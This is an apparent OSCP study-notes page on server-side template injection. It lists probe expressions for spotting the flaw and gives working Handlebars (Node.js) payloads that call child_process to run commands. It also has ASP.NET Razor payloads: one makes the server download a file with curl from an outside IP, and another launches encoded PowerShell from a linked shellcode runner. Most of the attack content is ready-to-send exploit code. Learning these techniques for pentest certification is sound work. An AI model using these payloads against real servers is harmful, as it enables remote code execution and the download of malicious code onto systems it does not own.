> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/ssti.md).

# SSTI

<details>

<summary>Intro</summary>

* Server-side template injection is a vulnerability where the attacker injects malicious input into a template in order to execute commands on the server.
* SSTI is very common on Node.js websites

</details>

<details>

<summary>Identification</summary>

```bash
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
```

* If an SSTI exists, --> web server will detect these expressions as valid code --> attempt to execute them (7\*7=49)
* Look at error messages to identify the template engine being used.

</details>

<details>

<summary>Handlebars (NodeJS)</summary>

Do url-encode the following scripts before sending to the victim (using burp's decoder tab)

```javascript
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

If the above has `require is not defined`, use the following script instead

```javascript
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

</details>

<details>

<summary>SSTI in ASP.NET-Razor</summary>

Inputting: @(1+2) --> 3 (vuln to SSTI)

<figure><img src="/files/sN7Vx6dal0ikriouWGU2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/p02VXjEbashf44Kq2o3e" alt=""><figcaption></figcaption></figure>

Using [Powershell Shellcode Runner](/oscp-notes/exploitation/powershell-shellcode-runner.md#powershell-shellcode-runner)

```csharp
# Test Connection with Curl
@{
    System.Diagnostics.Process.Start("curl", "http://192.168.45.218/test.txt -o c:/windows/tasks/test.txt");
}

# Exploit below
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc SQBFAFg..");
```

</details>